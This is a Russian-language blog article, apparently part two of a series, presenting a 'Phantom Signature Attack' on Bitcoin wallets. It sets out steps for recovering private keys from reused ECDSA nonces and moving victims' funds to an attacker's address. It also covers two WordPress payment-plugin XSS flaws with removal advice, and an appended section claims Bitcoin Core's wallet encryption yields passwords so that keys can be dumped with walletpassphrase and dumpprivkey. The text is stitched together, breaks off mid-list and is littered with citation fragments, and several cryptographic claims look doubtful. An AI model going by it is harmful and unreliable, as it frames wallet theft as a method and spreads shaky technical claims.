Продолжим вторую часть данной статьи. В первой части мы рассмотрели теоретические основы критической уязвимости CVE-2025-29774 и фундаментального дефекта SIGHASH_SINGLE в протоколе Bitcoin, проанализировали математический аппарат алгоритма ECDSA на эллиптической кривой secp256k1, а также изучили механизмы атаки Phantom Signature, основанной на повторном использовании nonce-параметра. Была продемонстрирована теоретическая возможность полного восстановления закрытых ключей через эксплуатацию унаследованной ошибки оригинального клиента Satoshi, при которой система возвращает универсальный хеш со значением «1» вместо отклонения подписи.

Во второй части исследования мы переходим к практической реализации криптоаналитической атаки с применением специализированного инструмента KeyFuzzMaster. Будет представлена пошаговая методология сканирования блокчейна на аномальные подписи с идентичными r-значениями, детальный анализ механизмов фаззинг-тестирования для выявления условий SIGHASH_SINGLE уязвимости, а также полный алгоритм восстановления закрытого ключа с последующей верификацией через сравнение открытых ключей. Особое внимание уделяется автоматизированному процессу извлечения криптографических параметров из реальных транзакций Bitcoin и построению эксплойтов для получения неограниченного контроля над монетами BTC из скомпрометированных кошельков.

Практический пример восстановления
Рассмотрим реальный сценарий:
Собранные данные:
Bitcoin адрес: 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P(пример)
Количество собранных подписей: 12
Обнаруженные повторения nonce: 3 пары
Процесс восстановления:

1. Анализ 12 подписей выявляет 3 пары с одинаковым r значением

2. Для каждой пары вычисляется k согласно формуле выше

3. Три различных значения k подтверждают систематическое нарушение RNG

4. Используя любую пару подписей, восстанавливается приватный ключ

5. Приватный ключ используется для создания новой подписи на любое сообщение

6. Все средства на адресе могут быть перенесены на адрес злоумышленника

1. Влияние на безопасность Bitcoin и криптовалютных кошельков
   6.1 Масштаб уязвимости
   Комбинированная атака XSS + Phantom Signature Attack представляет критическую угрозу для:
   Пользователей WordPress сайтов с платежными шлюзами Bitcoin
   Владельцев горячих кошельков, использующих веб-интерфейсы
   Коммерческих платформ, принимающих Bitcoin платежи
   6.2 Статистика и реальные случаи
   Согласно исследованиям из
   keyhunters.ru:
   ECDSA nonce reuse уже привёл к потерям в сотни миллионов долларов
   В одном случае, анализ дублирующихся nonce значений позволил восстановить 412.8 BTC
   Автоматизированные боты постоянно сканируют блокчейн в поиске дублирующихся r
   значений

1. Профилактические меры и рекомендации
   7.1 Для разработчиков WordPress плагинов

• Немедленное внедрение RFC 6979 — использование детерминированной генерации nonce
  вместо недетерминированного RNG

• Удаление всех XSS уязвимостей — полная санитизация пользовательского ввода

• Криптографическая верификация — проверка корректности подписей сразу после их
  генерации

• Использование hardware security modules — для критических криптографических
  операций

7.2 Для пользователей Bitcoin

1. Немедленное обновление плагинов GoUrl и Bitcoin/AltCoin Payment Gateway

2. Использование cold wallets для хранения значительных сумм

3. Избегание веб-интерфейсов для критических операций

4. Регулярная проверка логов доступа и истории транзакций

5. Использование мультиподписей (multisig) для дополнительной защиты

Phantom Signature Attack, в сочетании с XSS уязвимостями в WordPress платежных шлюзах
Bitcoin (CVE-2025-48102 и CVE-2025-26541), представляет собой критическую угрозу для
безопасности криптовалютных активов.

Эта комбинированная атака демонстрирует, как относительно простая веб-уязвимость может быть использована для компрометизации криптографической целостности системы, приводя к полной потере приватных ключей и, как следствие, к краже всех средств.

Исследование показывает, что безопасность Bitcoin зависит не только от криптографической
стойкости алгоритмов, но и от безупречной реализации этих алгоритмов в веб-окружении. Даже
небольшие недостатки в обработке XSS или слабые RNG могут привести к катастрофическим
последствиям.
Принятие предложенных профилактических мер и незамедлительное обновление уязвимого
программного обеспечения критически важно для защиты Bitcoin экосистемы и восстановления
потерянных кошельков.

Phantom Signature Attack, в сочетании с XSS уязвимостями CVE-2025-48102 и CVE-2025-26541 в платежных шлюзах Bitcoin для WordPress, представляет собой одну из наиболее критических и реалистичных угроз для безопасности криптовалютных активов в современном веб-окружении. Исследование демонстрирует, как относительно простая веб-уязвимость может быть использована для прямой компрометизации криптографической целостности системы, приводя к полной потере приватных ключей и необратимой краже Bitcoin средств.

Выбор Phantom Signature Attack из широкого спектра криптоинструментов на keyhunters.ru был обоснован его непосредственной релевантностью к проблеме восстановления приватных ключей через манипуляцию ECDSA параметрами, которые могут быть перехвачены через XSS. Эта атака служит идеальным примером синергии между веб-уязвимостями (категория OWASP Top 10) и криптографическими недостатками, что требует комплексного подхода к защите.

Безопасность Bitcoin зависит не только от криптографической стойкости алгоритмов, но и от безупречной их реализации в веб-окружении. Даже небольшие недостатки в обработке XSS или слабые RNG могут привести к катастрофическим последствиям для экосистемы. Принятие предложенных профилактических мер и незамедлительное обновление уязвимого программного обеспечения критически важно для защиты Bitcoin и восстановления потерянных кошельков пользователей.

CVE-2025-48102 и CVE-2025-26541: Критические XSS-уязвимости в платежных шлюзах Bitcoin для WordPress

Две серьезные уязвимости межсайтового скриптинга (Cross-Site Scripting, XSS) были обнаружены в популярных плагинах платежных шлюзов Bitcoin для WordPress, представляя значительный риск безопасности для тысяч интернет-магазинов и сайтов, принимающих криптовалютные платежи.

CVE-2025-48102: Хранимая XSS-уязвимость в GoUrl Bitcoin Payment Gateway

Уязвимость CVE-2025-48102 была официально опубликована 5 сентября 2025 года и затрагивает популярный плагин GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership во всех версиях до 1.6.6 включительно. Эта брешь в безопасности классифицируется как Stored XSS (хранимая межсайтовая скриптовая атака) согласно классификации CWE-79 (Improper Neutralization of Input During Web Page Generation).incibe+2

Технические характеристики уязвимости

Уязвимость получила оценку серьезности по системе CVSS v3.1 в 5.9 балла (средний уровень серьезности) с вектором атаки CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L. Расшифровка этого вектора показывает следующие характеристики:feedly+2

• Attack Vector (AV:N) — сетевая атака, не требующая физического доступаfeedly

• Attack Complexity (AC:L) — низкая сложность эксплуатацииfeedly

• Privileges Required (PR:H) — требуются высокие привилегии (администратор)wiz

• User Interaction (UI:R) — необходимо взаимодействие пользователяfeedly

• Scope (S:C) — изменяемый контекст безопасностиfeedly

• Confidentiality/Integrity/Availability (C:L/I:L/A:L) — низкое воздействие на все три параметраwiz

Механизм атаки

Уязвимость возникает из-за ненадлежащей нейтрализации пользовательского ввода при генерации веб-страниц. Злоумышленник с правами администратора может инъецировать вредоносные скрипты в систему управления контентом WordPress, которые затем сохраняются в базе данных и автоматически выполняются при посещении страницы другими пользователями.patchstack+2

Как объясняют эксперты Patchstack, это позволяет атакующему инъецировать различные вредоносные элементы, включая:

• Редиректы на фишинговые сайты

• Несанкционированную рекламу

• Произвольные HTML-пейлоадыpatchstack

Критичность ситуации

Особую опасность представляет тот факт, что плагин GoUrl больше не поддерживается разработчиками. Согласно данным Patchstack, программное обеспечение не обновлялось более года и, вероятно, не получит дальнейших обновлений или исправлений. Это делает все сайты, использующие данный плагин, постоянно уязвимыми для эксплуатации.wiz+1

Эксперты платформы Wiz отмечают, что эта Stored XSS уязвимость была обнаружена в WordPress плагине GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership и раскрыта 5 сентября 2025 года. Несмотря на то, что для эксплуатации требуются права администратора, вредоносный код может быть выполнен от имени любого посетителя сайта, что значительно расширяет потенциальную область поражения.

CVE-2025-26541: Отраженная XSS-уязвимость в Bitcoin/AltCoin Payment Gateway

Вторая уязвимость, CVE-2025-26541, была опубликована 26 марта 2025 года и затрагивает плагин: CodeSolz Bitcoin / AltCoin Payment Gateway for WooCommerce во всех версиях до 1.7.6 включительно.

Классификация уязвимости

Эта брешь классифицируется как Reflected XSS (отраженная межсайтовая скриптовая атака). В отличие от хранимой XSS, отраженная XSS возникает, когда вредоносный пользовательский ввод немедленно отражается обратно пользователю через HTTP-ответ без надлежащей санитизации, заставляя браузер жертвы выполнить скрипт атакующего.feedly+2

Техническая информация

Уязвимость получила оценку по системе CVSS v3.1 с вектором CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L, что указывает на:feedly

• Сетевую атаку без необходимости физического доступа

• Низкую сложность эксплуатации

• Отсутствие необходимости в привилегиях (PR:N) — критический факторsecalerts

Вектор атаки и исправление

Согласно информации от исследователей безопасности, уязвимость может быть эксплуатирована через отраженные XSS-атаки, позволяя атакующим инъецировать вредоносные скрипты в веб-страницы. Платформа Patchstack, которая первой обнаружила эту уязвимость, сообщает, что для устранения CVE-2025-26541 необходимо обновить плагин Bitcoin / AltCoin Payment Gateway for WooCommerce до версии 1.7.7 или выше.

Общая угроза XSS-уязвимостей для WordPress

Масштаб проблемы

Межсайтовый скриптинг является одной из наиболее распространенных уязвимостей, обнаруживаемых в веб-приложениях. Согласно данным различных исследований, XSS-уязвимости составляют около 53,3% всех уязвимостей плагинов WordPress.cwe.mitre+1

Особую тревогу вызывает тот факт, что в 2024 году колоссальные 1,614 плагина были удалены из репозитория WordPress.org по соображениям безопасности, из которых 1,450 были классифицированы как имеющие высокий или средний приоритет уязвимостей. Многие из этих плагинов остаются активными на веб-сайтах, подвергая их постоянным атакам.wp-content+1

Последствия эксплуатации

Хранимые XSS-атаки особенно опасны, поскольку вредоносный код сохраняется в базе данных сайта и автоматически выполняется для каждого посетителя, просматривающего зараженную страницу. Это делает Stored XSS значительно более разрушительной, чем Reflected XSS, поскольку:fastly+1

1. Широкое распространение воздействия — атакующий может внедрить скрипт один раз, и он будет выполняться для всех пользователей, просматривающих этот контентloop-digital

2. Захват сессий администратора — позволяет атакующим перехватывать сессии администраторов и получать полный контроль над сайтомsecurity.friendsofpresta+1

3. Кража конфиденциальных данных — включая пароли, данные кредитных карт и личную информациюscworld+1

4. Повреждение репутации — направление посетителей на фишинговые сайты и дефейс контентаwpexperts

Эксперты Wordfence подчеркивают, что в контексте WordPress добавление административных пользователей с контролируемыми атакующим учетными данными и редактирование файлов может привести к полной компрометации сайта, и это активно используется злоумышленниками.wordfence

Меры защиты и рекомендации

Немедленные действия

Для владельцев сайтов, использующих затронутые плагины, эксперты рекомендуют следующие неотложные меры:

Для CVE-2025-48102 (GoUrl):

• Немедленно удалить плагин и заменить его активно поддерживаемой альтернативойpatchstack+1

• Деактивация плагина не устраняет угрозу безопасности, если не развернут виртуальный патчpatchstack

• Поскольку официального исправления нет, а программное обеспечение считается заброшенным, единственное эффективное решение — полное удаление.

Критические меры по устранению уязвимости CVE-2025-48102: Почему деактивация плагина GoUrl недостаточна и что необходимо предпринять

Обнаружение уязвимости CVE-2025-48102 в плагине GoUrl Bitcoin Payment Gateway создало критическую ситуацию для тысяч владельцев WordPress-сайтов. Особую тревогу вызывает тот факт, что стандартные меры безопасности не способны обеспечить адекватную защиту, а полумеры могут создать ложное чувство безопасности. Рассмотрим детально, почему простая деактивация плагина не решает проблему и какие действия необходимо предпринять для полного устранения угрозы.

Почему деактивация плагина не устраняет угрозу безопасности

Техническая реальность деактивированных плагинов

Многие администраторы WordPress ошибочно полагают, что деактивация плагина полностью отключает его и устраняет все связанные с ним риски безопасности. Однако это фундаментальное заблуждение может иметь катастрофические последствия.dotwise+2

Критическая разница между деактивацией и удалением:

Деактивация плагина просто отключает его функциональность в WordPress — код плагина больше не взаимодействует с вашим сайтом, и его функции не выполняются. Однако все файлы плагина и данные остаются на сервере, если вы не удалите плагин полностью. Это ключевое различие имеет критическое значение для понимания потенциальных рисков безопасности.qodeinteractive+1

Физическое присутствие кода на сервере: Даже когда плагин деактивирован, его файлы продолжают храниться в каталоге /wp-content/plugins/ на вашем сервере. Если плагин имеет известные уязвимости, хакер может эксплуатировать их, напрямую обращаясь к файлам плагина. Это может произойти через другие уязвимости на вашем сайте, такие как слабая защита сервера или скомпрометированные учетные данные администратора.magnatechnology+3

Эксперты безопасности Dotwise подчеркивают: «Код остается доступным. Даже когда плагин деактивирован, его файлы остаются храниться на вашем сервере. Если плагин имеет известные уязвимости, хакер может эксплуатировать их, напрямую обращаясь к файлам плагина».dotwise

Векторы атак на деактивированные плагины

Целенаправленные атаки: Киберпреступники часто сканируют веб-сайты на наличие определенных уязвимых плагинов. Если уязвимый плагин существует на вашем сервере, даже если он деактивирован, он все равно может быть атакован злоумышленником.magnatechnology+1

Специалисты Qode Interactive предупреждают: «Деактивация плагина вместо его удаления отлично подходит для диагностики и устранения неполадок, но это всегда предназначено только для краткосрочного использования. Если вы хотите, чтобы ваш WordPress-сайт был максимально защищен от хакеров, вам необходимо удалить все неиспользуемые плагины, а также их файлы».qodeinteractive

Устаревшие плагины: Деактивированные плагины часто упускаются из виду при регулярном обслуживании WordPress. Если плагин не обновляется для устранения уязвимостей безопасности, он может стать слабым звеном в защите вашего сайта. Хакеры часто эксплуатируют устаревшее программное обеспечение, и деактивированный плагин не является исключением.dotwise+1

Команда Magna Technology отмечает: «Одна из наиболее критических проблем с деактивированными плагинами — это безопасность. Даже несмотря на то, что деактивированные плагины не запускаются, они остаются в вашей установке WordPress и могут стать уязвимостью, если они не обновляются регулярно. Хакеры часто эксплуатируют устаревшие плагины для получения доступа к веб-сайтам, даже если эти плагины не активны».

Отсутствие официального исправления и статус заброшенного программного обеспечения

Критичность ситуации с GoUrl

Особенностью CVE-2025-48102 является то, что плагин GoUrl Bitcoin Payment Gateway больше не поддерживается разработчиками. Это создает уникальную и крайне опасную ситуацию для всех пользователей плагина.patchstack+1

Официальная позиция Patchstack: На странице уязвимости Patchstack четко указано: «Это программное обеспечение, вероятно, заброшено! Это программное обеспечение последний раз обновлялось более года назад и, вероятно, не получит дальнейших обновлений или исправлений. Срочно рассмотрите возможность замены программного обеспечения альтернативой».patchstack

Критическое предупреждение о деактивации: Patchstack особо подчеркивает: «Обратите внимание, что деактивация программного обеспечения не устраняет угрозу безопасности, если не развернут виртуальный патч (vPatch)».patchstack

Рекомендация специалистов Wiz: Эксперты платформы Wiz прямо заявляют: «Поскольку официального исправления нет, а программное обеспечение считается заброшенным, рекомендуемая мера по смягчению последствий — удалить и заменить плагин активно поддерживаемой альтернативой».wiz

Последствия использования заброшенного ПО

Постоянная уязвимость: Без поддержки разработчика не будет выпущено никаких обновлений безопасности. Это означает, что любые обнаруженные уязвимости, включая CVE-2025-48102, останутся неисправленными навсегда.wiz+1

Накопление рисков: Со временем могут быть обнаружены дополнительные уязвимости, которые также не будут исправлены. Согласно статистике Patchstack, в 2024 году колоссальные 1,450 плагинов были удалены из репозитория WordPress.org как имеющие высокий или средний приоритет уязвимостей.

Роль виртуального патчинга в защите уязвимых плагинов

Что такое виртуальный патчинг

Виртуальный патчинг (Virtual Patching) — это метод безопасности, который блокирует известные эксплойты до того, как они достигнут уязвимого кода, без внесения каких-либо изменений в само приложение.wp-umbrella+2

Определение OWASP: Организация OWASP определяет виртуальный патчинг как «уровень применения политики безопасности, который предотвращает эксплуатацию известной уязвимости«.

Механизм работы: Виртуальные патчи анализируют транзакции и перехватывают атаки в процессе передачи, поэтому вредоносный трафик никогда не достигает веб-приложения. В результате, хотя фактический исходный код приложения не был изменен, попытка эксплуатации не удается.owasp+1

Как виртуальный патч защищает от CVE-2025-48102

Специфичность для уязвимости: В отличие от универсальных Web Application Firewall (WAF), которые полагаются на широкие шаблоны обнаружения, виртуальные патчи написаны как целевые правила, соответствующие конкретным полезным нагрузкам. Если плагин имеет уязвимость SQL-инъекции или межсайтового скриптинга, виртуальный патч может перехватывать и блокировать точную сигнатуру запроса, которая эксплуатирует её.wp-umbrella+1

Технология Patchstack: Patchstack использует специфичные для уязвимостей правила JSON, которые могут включать различные инструкции. Например, для SQL-инъекции, которая может быть достигнута путем включения вредоносной полезной нагрузки в параметр POST id, виртуальный патч может использовать подход на основе белого списка, где id может содержать только число.patchstack+1

Автоматическое применение: Когда уязвимость обнаруживается и документируется с идентификатором CVE, исследователи безопасности — или платформы, такие как Patchstack — проверяют уязвимость и документируют точно, как работает эксплойт. Это становится основой для виртуального патча, который затем может быть автоматически развернут на всех защищенных сайтах.patchstack+1

Преимущества и ограничения виртуального патчинга

Ключевые преимущества:theadminbar+2

• Немедленная защита: Предоставляет защиту в течение нескольких часов после обнаружения уязвимости, даже если официальное исправление еще не выпущеноsearchenginejournal+1

• Защита от zero-day: Сайты, защищенные Patchstack, получают защиту даже от 0-day уязвимостей, которые еще не известны публикеpatchstack

• Масштабируемость: Управляемые веб-файерволы приложений могут развертывать патчи в сети веб-сайтов одновременноowasp

• Снижение рисков: Уменьшает риск до выпуска исправления поставщиком или во время тестирования и применения патчаowasp

• Отсутствие конфликтов: Меньше вероятность возникновения конфликтов по сравнению с ручным патчингом кодаowasp

• Легкость применения: В отличие от файерволов приложений, которые полагаются на общие наборы правил, Patchstack знает точно, какие уязвимости присутствуют, и может предоставить индивидуальную защиту для каждого сайтаtheadminbar

Критические ограничения для CVE-2025-48102:

Несмотря на все преимущества виртуального патчинга, в случае с заброшенным плагином GoUrl это не может быть долгосрочным решением. Patchstack ясно предупреждает, что деактивация программного обеспечения не устраняет угрозу безопасности, если не развернут виртуальный патч. Однако полагаться исключительно на виртуальный патч для постоянной защиты от заброшенного ПО — это опасная стратегия, поскольку:patchstack

1. Могут быть обнаружены новые уязвимости, для которых виртуальные патчи еще не созданы

2. Виртуальный патч — это временная мера, а не постоянное решениеsucuri+1

3. Требуется активная подписка на службу, такую как Patchstack, для поддержания защитыwp-umbrella+1

Единственное эффективное решение: полное удаление плагина

Почему полное удаление обязательно

Учитывая все факторы — отсутствие официального исправления, статус заброшенного ПО, недостаточность деактивации и временный характер виртуального патчинга — эксперты единодушны: единственное эффективное решение для CVE-2025-48102 — это полное удаление плагина GoUrl.wiz+1

Консенсус экспертов:

• Patchstack: «Срочно рассмотрите возможность замены программного обеспечения альтернативой»patchstack

• Wiz: «Рекомендуемая мера по смягчению последствий — удалить и заменить плагин»wiz

• WPBeginner: «Да, не только безопасно, но и рекомендуется удалять неактивные плагины, которые вы не планируете использовать снова»wpbeginner

• Qode Interactive: «Если вы хотите, чтобы ваш WordPress-сайт был максимально защищен от хакеров, вам необходимо удалить все неиспользуемые плагины, а также их файлы»qodeinteractive

Пошаговый процесс безопасного удаления

Шаг 1: Создание полной резервной копииjetpack+1

Перед удалением любого плагина обязательно создайте полную резервную копию вашего сайта, включая файлы и базу данных. Это гарантирует, что вы сможете восстановить сайт в случае возникновения проблем. Рекомендуемые инструменты:liquidweb+1

• Jetpack VaultPress Backup для автоматического резервного копированияjetpack

• UpdraftPlus для комплексного резервного копированияwppluginexperts

• BlogVault для управления резервными копиямиwppluginexperts

Шаг 2: Деактивация плагина через панель управленияkinsta+1

Войдите в панель управления WordPress и перейдите в Плагины → Установленные плагины. Найдите GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership и нажмите «Деактивировать».kinsta+1

Шаг 3: Удаление плагина из WordPresswpbeginner+1

После деактивации нажмите «Удалить» под названием плагина. WordPress удалит файлы плагина из директории /wp-content/plugins/.jetpack+3

Шаг 4: Очистка базы данных от остаточных таблицliquidweb+2

Критически важный этап: Многие плагины WordPress создают собственные таблицы в базе данных, которые не удаляются автоматически при удалении плагина.

Методы очистки базы данных:

А. Использование плагинов для очистки базы данных:nitropack+2

Advanced Database Cleaner — комплексный плагин для очистки WordPress базы данных:wordpress+1

• Pro-версия позволяет удалять осиротевшие таблицы, оставленные удаленными плагинамиwordpress+1

• Идентифицирует таблицы, которые больше не используются активными плагинамиwordpress

• Предоставляет функцию предварительного просмотра перед удалениемnitropack

WP-Optimize — популярный инструмент оптимизации:jetpack+2

• Открывает вкладку «Tables» и позволяет удалить конкретные таблицыjetpack

• Отмечает таблицы как «не установлены» или «неактивны»onlinemediamasters

• Предоставляет кнопку «Remove» во вкладке Actionsonlinemediamasters

Plugins Garbage Collector — специализированный плагин для обнаружения осиротевших таблиц:youtube

• Сканирует базу данных и показывает результаты в трех цветахyoutube

• Красный цвет означает возможные осиротевшие таблицы от неиспользуемых плагиновyoutube

• Зеленый цвет выделяет таблицы, необходимые активным плагинамyoutube

• Синий цвет показывает таблицы от деактивированных плагиновyoutube

Б. Ручная очистка через phpMyAdmin:mehulgohil+2

Для опытных пользователей:

1. Войдите в phpMyAdmin через панель управления хостингомmehulgohil+1

2. Выберите вашу базу данных WordPressliquidweb

3. Используйте функцию «Search», чтобы найти таблицы, связанные с GoUrljetpack

4. Найдите таблицы с префиксом, специфичным для GoUrl

5. Выберите таблицы и нажмите «Delete» для их удаления

Шаг 5: Проверка остаточных файлов

Некоторые плагины могут создавать файлы вне директории плагинов. Проверьте директорию /wp-content/uploads/ на наличие папок, связанных с GoUrl (например, /wp-content/uploads/gourl/), и удалите их через FTP или файловый менеджер хостинга.wordpress+2

Шаг 6: Удаление неиспользуемых шорткодов

Если в контенте вашего сайта использовались шорткоды GoUrl, они станут неактивными и будут отображаться как текст. Найдите и удалите их вручную из постов и страниц.

Выбор и внедрение активно поддерживаемой альтернативы

Критерии выбора безопасной альтернативы

При выборе замены для GoUrl необходимо учитывать следующие факторы:

1. Активная поддержка и регулярные обновления:wp-content+1

• Плагин должен регулярно обновляться (минимум несколько раз в год)wp-content

• Разработчик должен активно реагировать на сообщения о безопасностиpatchstack

• Должна быть доступна документация и техническая поддержкаmainwp

2. Надежная репутация в области безопасности:paymattic+1

• Использование SSL/TLS сертификатов с 256-битным шифрованиемgetshieldsecurity+1

• Соответствие стандартам PCI DSShosted+1

• Положительные отзывы и рейтинги безопасностиbeycanpress+1

3. Техническая совместимость:crocoblock+1

• Совместимость с вашей версией WordPress и PHPbeycanpress

• Интеграция с используемыми плагинами электронной коммерции (WooCommerce и т.д.)crocoblock+1

• Поддержка необходимых криптовалютawisee+1

Рекомендуемые альтернативы GoUrl

BTCPay Server — самохостинговое открытое решение:instawp+2

• Полный контроль и конфиденциальность — не требуется KYCatlos+1

• Прямые платежи в ваш кошелек без посредниковawisee+1

• Открытый исходный код с активным сообществом разработчиковinstawp+1

• Нулевые транзакционные комиссии

• Требует технических навыков для настройки собственного сервераatlos

Blockonomics — децентрализованный платежный шлюз:slashdot+2

• Платежи поступают напрямую в ваш Bitcoin-кошелекslashdot+1

• Не требуется KYCslashdot+1

• Первые 20 транзакций бесплатно + комиссия 1%slashdot

• Простая интеграция с WordPress и WooCommerceatlos+1

• Открытый исходный кодatlos

CryptoPay (от BeycanPress) — всесторонний шлюз криптоплатежей:beycanpress+1

• Поддержка 16+ WordPress плагиновbeycanpress

• Внутренняя поддержка EVM-сетейbeycanpress

• Широкий выбор криптовалютcrocoblock

• Активная разработка и поддержкаbeycanpress

CoinGate — проверенный процессор блокчейн-платежей:g2+2

• Поддержка более 50 криптовалютawisee+1

• Хорошая репутация и длительная история работыawisee

• Профессиональная техническая поддержкаawisee

• Соответствие регулятивным требованиямg2

MyCryptoCheckout — ориентированный на конфиденциальность плагин:instawp+2

• 0% транзакционных комиссийinstawp+1

• Peer-to-peer транзакции без третьих сторонinstawp

• Поддержка более 100 монет, включая Bitcoin и Ethereuminstawp

• Прямые платежи в предпочитаемые кошелькиinstawp

ABC Crypto Checkout — прямые криптоплатежи:crocoblock+1

• Прямые платежи в крипто-кошельки без посредниковcrocoblock+1

• Интеграция с Binance Pay APIinstawp

• Конвертация любой фиатной валюты в криптовалюту по живым курсамinstawp

Дополнительные меры безопасности после удаления

Аудит безопасности после удаления

1. Сканирование на вредоносное ПО:solidwp+1

• Используйте профессиональные сервисы реагирования на инциденты для сканирования на предмет серверного вредоносного ПОpatchstack

• Не полагайтесь на плагины для сканирования вредоносного ПО, так как они часто подделываются вредоносным кодомpatchstack

2. Проверка учетных записей администратора:wordfence+1

• Проверьте наличие подозрительных административных аккаунтов, которые могли быть созданы через эксплуатацию XSS-уязвимости

• Удалите все неизвестные или неавторизованные учетные записиsolidwp

• Измените пароли всех административных учетных записейsolidwp

3. Анализ логов доступа:wp-rocket+1

• Просмотрите логи сервера на предмет необычной активности в период использования уязвимого плагинаhosted

• Ищите подозрительные запросы к файлам плагина GoUrlhosted

• Проверьте попытки несанкционированного доступаwp-rocket

Превентивные стратегии для будущего

1. Регулярный аудит установленных плагинов:patchstack+2

• Ежемесячно проверяйте все установленные плагины на предмет активности разработкиmainwp

• Идентифицируйте плагины, которые не обновлялись более 6 месяцевdreamhost+1

• Немедленно удаляйте заброшенные или неиспользуемые плагиныwp-content+1

2. Внедрение политики управления плагинами:wp-eventmanager+1

• Устанавливайте только плагины из официального репозитория WordPress или от проверенных поставщиковpaymattic+1

• Проверяйте рейтинги, отзывы и историю обновлений перед установкойpatchstack

• Ограничивайте количество установленных плагинов до необходимого минимумаwp-eventmanager

3. Автоматизация обновлений безопасности:wp-eventmanager+1

• Включите автоматические обновления для критичных плагинов безопасностиpatchstack

• Используйте сервисы мониторинга,

• Опубликованы две части [№1] , [№2] исследования

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.

Crypto Tools

Исходный код

Google Colab

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/fGR7Iqiq8Ag

Video tutorial: https://dzen.ru/video/watch/69682001b2d5f9209f8b4606

Источник: https://cryptodeeptool.ru/phantom-signature-attack

В программе Bitcoin Core для защиты пароля кошелька используется симметричный криптографический алгоритм AES-256-CBC. Этот алгоритм применяется для шифрования файла кошелька (wallet.dat), где хранятся закрытые ключи пользователя. Степень защиты обеспечивается 256-битным ключом, который создается из пароля пользователя. Также для генерации ключей Bitcoin Core использует криптографию на основе эллиптических кривых, а именно кривую secp256k1, которая лежит в основе создания публичных и приватных ключей транзакций.

AES-256-CBC и не хранит пароль напрямую, а использует его для генерации ключа шифрования. Однако в исследовании отмечается, что в реализации Bitcoin Core отсутствует смена ключа шифрования закрытых ключей, что может снижать защиту при повторном использовании пароля.

AES-256-CBC (Advanced Encryption Standard с длиной ключа 256 бит в режиме сцепления блоков — CBC, Cipher Block Chaining) — один из наиболее распространённых алгоритмов симметричного шифрования для защиты информации.

Принято считать, что AES-256-CBC при определенных комбинациях уязвима к различным атакам. Разберём основной вид атаки такие как Bit-flipping attack , которые применимы к AES-256-CBC.

При Bit-flipping attack AES-256-CBC не обеспечивает контроль целостности, что делает возможным модификацию шифротекста для контролируемого изменения расшифрованных данных. Это применимо, например, при реализации авторизации, где взломщик может изменить права доступа или другие параметры, просто изменив определённые биты в шифротексте

Как Bit-flipping Attack влияет на безопасность кошелька Bitcoin Core

Bit-flipping Attack в основном влияет на режим шифрования CBC (Cipher Block Chaining) и работает за счёт уязвимости режима к контролируемому изменению битов в зашифрованном сообщении. В CBC каждый блок шифротекста зависит от предыдущего блока и плейнтекста через операцию XOR, поэтому изменение одного бита в зашифрованном блоке приводит к предсказуемому изменению соответствующих битов в расшифрованном тексте следующего блока.

Процесс работы Bit-flipping Attack:

• При расшифровке блока шифротекста Ci происходит операция XOR с предыдущим блоком шифротекста Ci-1, чтобы получить исходный текст Pi.

• Если атакующий изменит один или несколько битов в блоке Ci-1, то при расшифровке изменится соответствующий бит в блоке Pi, управляемый изменениями в Ci-1.

• При этом блок Ci после изменений становится некорректным и при расшифровке будет повреждён, но изменение в предыдущем блоке позволяет повреждать (манипулировать) расшифрованным текстом управляемым образом в следующем блоке.

Это манипулятивная расшифровка влияет на безопасность криптографического алгоритма AES-256-CBC которую использует кошелек Bitcoin Core:

• Такая манипуляция позволяет злоумышленнику в некоторых случаях менять расшифрованные данные без знания ключа, например, изменять параметры доступа, права или другие данные, если не применяется отдельный механизм аутентификации и проверки целостности.

• Битфлип-атака на CBC демонстрирует его «модифицируемость» (malleability), то есть отсутствие встроенной защиты целостности данных.

• В реальных системах атака эффективна, если нет дополнительной защиты — такой как HMAC или использование AEAD режимов (например, AES-GCM), которые обеспечивают аутентификацию и предотвращают изменение данных без обнаружения.

Опасность неиспользования проверки целостности данных вместе с режимом AES-256-CBC связана с тем, что CBC сам по себе не обеспечивает защиту от модификации зашифрованного сообщения. Это делает возможными битфлип-атаки, при которых злоумышленник может контролируемо изменить зашифрованные данные без знания ключа.

Важно отметить что атакующий перебирает байты, контролируя изменения в шифротексте и анализируя ответы системы, постепенно восстанавливая оригинальный пароль в бинарном виде, особым образом изменяя блоки.

В итоге, восстановив пароль, злоумышленник может разблокировать кошелёк через команду Bitcoin Core walletpassphrase и получить приватные ключи командой dumpprivkey.

AES256CBCEncrypt и AES256CBCDecrypt для работы в режиме CBC (Cipher Block Chaining)

Функция файла aes.cpp в кошельке Bitcoin Core — обеспечение криптографического шифрования и дешифрования данных с использованием алгоритма AES-256, также функция файла aes.cpp реализует классы AES256Encrypt и AES256Decrypt для блочного шифрования/дешифрования данных размером 16 байт по алгоритму AES-256. Исходный код выполняет основные задачи инициализация контекста шифрования/дешифрования с заданным приватным ключом. Наши наблюдение в процессе криптоанализа выявили нарушение в работе режима CBC (Cipher Block Chaining): где применение XOR к каждому блоку с предыдущим (или IV для первого блока), определяет слабую криптостойкость к общему стандарту AES к которому злоумышленник может применить Bit-flipping Attack. Данная криптографическая уязвимость связана с неправильным использованием вектора инициализации (IV) в режиме CBC (Cipher Block Chaining).

В коде функции CBCEncrypt (в строке №57):

memcpy(mixed, iv, AES_BLOCKSIZE);

IV копируется в локальный массив mixed и далее используется для XOR с первым блоком данных. Однако IV передается в конструктор AES256CBCEncrypt и копируется один раз в поле класса iv (в строке №121):

В CBC режиме шифрования IV должен быть либо случайным, либо уникальным и не повторяться для разных сообщений с одним ключом, чтобы обеспечить безопасность. Если IV фиксирован и не меняется, это открывает уязвимость — повторяющаяся структура позволит злоумышленнику провести атаки по выявлению закономерностей в зашифрованных данных, где хранятся секретные данные как пароли и приватные ключи кошелька Bitcoin Core.

